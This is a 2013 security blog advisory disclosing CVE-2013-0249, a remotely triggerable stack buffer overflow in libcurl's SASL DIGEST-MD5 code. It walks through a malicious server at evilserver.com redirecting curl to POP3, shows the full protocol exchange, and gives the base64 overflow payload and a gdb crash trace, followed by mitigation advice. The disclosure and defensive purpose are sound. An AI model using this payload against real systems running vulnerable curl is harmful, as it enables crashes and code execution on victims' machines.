Blog.Volema

→ cURL buffer overflow

Wed 06 February 2013

Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack.

Vendor notified, CVE-2013-0249 released.

Attack Concept Outline

We have the permissions to send custom HTTP requests with curl. We send request to our http://evilserver.com/

GET / HTTP/1.0
Host: evilserver.com

server answers with

HTTP/1.0 302 Found
Location: pop3://x:x@evilserver.com/.

"smart" curl interpretes redirect and connects to evilserver.com port 110/TCP using POP3 proto. Server answers

+OK POP3 server ready

curl sends

CAPA

servers answers with DIGEST-MD5 only

+OK List of capabilities follows
SASL DIGEST-MD5
IMPLEMENTATION dumbydumb POP3 server

so, libcurl has to send

AUTH DIGEST-MD5

then server sends the payload

+ cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg=

and overflow happens because of fixed "uri" buffer size (128) and "realm" which is also 128 bytes

realm="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8

how it looks in gdb

Program received signal SIGSEGV, Segmentation fault.
0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) bt
#0  0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#1  0x00007fd2b2a5cc07 in Curl_sasl_create_digest_md5_message ()
   from /home/ky/test/curl-7.28.1/lib/.libs/libcurl.so.4
#2  0x4141414141414141 in ?? ()
...
#1469 0x4141414141414141 in ?? ()
#1470 0x656d616e72657375 in ?? ()
Cannot access memory at address 0x7fff63b8b000

Original exploit: pop3d.py.

Mitigation

We recommend to disable protocols other than HTTP(S) in your application using options CURLOPT_PROTOCOLS and CURLOPT_REDIR_PROTOCOLS. libcurl version should be updated.

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